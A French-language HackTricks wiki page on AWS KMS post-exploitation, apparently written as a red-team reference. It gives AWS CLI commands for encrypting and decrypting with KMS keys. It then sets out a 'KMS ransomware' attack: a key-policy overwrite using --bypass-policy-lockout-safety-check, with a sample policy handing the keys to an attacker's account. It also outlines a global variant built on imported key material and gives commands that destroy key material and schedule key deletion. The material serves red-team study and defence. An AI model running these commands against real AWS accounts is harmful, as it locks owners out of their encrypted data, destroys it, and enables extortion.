AWS - KMS Post Exploitation

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)!

Autres façons de soutenir HackTricks :

KMS

Pour plus d'informations, consultez :

pageAWS - KMS Enum

Chiffrer/Déchiffrer des informations

  • Utilisation d'une clé symétrique

# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
  • Utilisation d'une clé asymétrique :

# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode

Rançongiciel KMS

Un attaquant ayant un accès privilégié sur KMS pourrait modifier la politique KMS des clés et accorder à son compte l'accès à ces clés, supprimant ainsi l'accès accordé au compte légitime.

Ensuite, les utilisateurs du compte légitime ne pourront pas accéder à toutes les informations de tout service qui a été chiffré avec ces clés, créant ainsi un rançongiciel simple mais efficace sur le compte.

Notez que les clés gérées par AWS ne sont pas affectées par cette attaque, seules les clés gérées par le client le sont.

Notez également la nécessité d'utiliser le paramètre --bypass-policy-lockout-safety-check (l'absence de cette option dans la console Web rend cette attaque possible uniquement depuis l'interface en ligne de commande).

# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check

{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

Notez que si vous modifiez cette politique et donnez uniquement accès à un compte externe, puis à partir de ce compte externe vous essayez de définir une nouvelle politique pour redonner l'accès au compte d'origine, vous ne pourrez pas le faire.

Rançongiciel KMS Générique

Rançongiciel KMS Global

Il existe une autre façon d'effectuer un rançongiciel KMS global, qui impliquerait les étapes suivantes :

  • Créer une nouvelle clé avec un matériel de clé importé par l'attaquant

  • Ré-encrypter les anciennes données chiffrées avec la version précédente avec la nouvelle.

  • Supprimer la clé KMS

  • Maintenant, seul l'attaquant, qui possède le matériel de clé d'origine, pourrait être en mesure de décrypter les données chiffrées

Détruire les clés

# Destoy they key material previously imported making the key useless
aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab

# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7

Notez qu'AWS empêche désormais les actions précédentes d'être effectuées à partir d'un compte externe :

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge HackTricks AWS)!

Autres façons de soutenir HackTricks :

Dernière mise à jour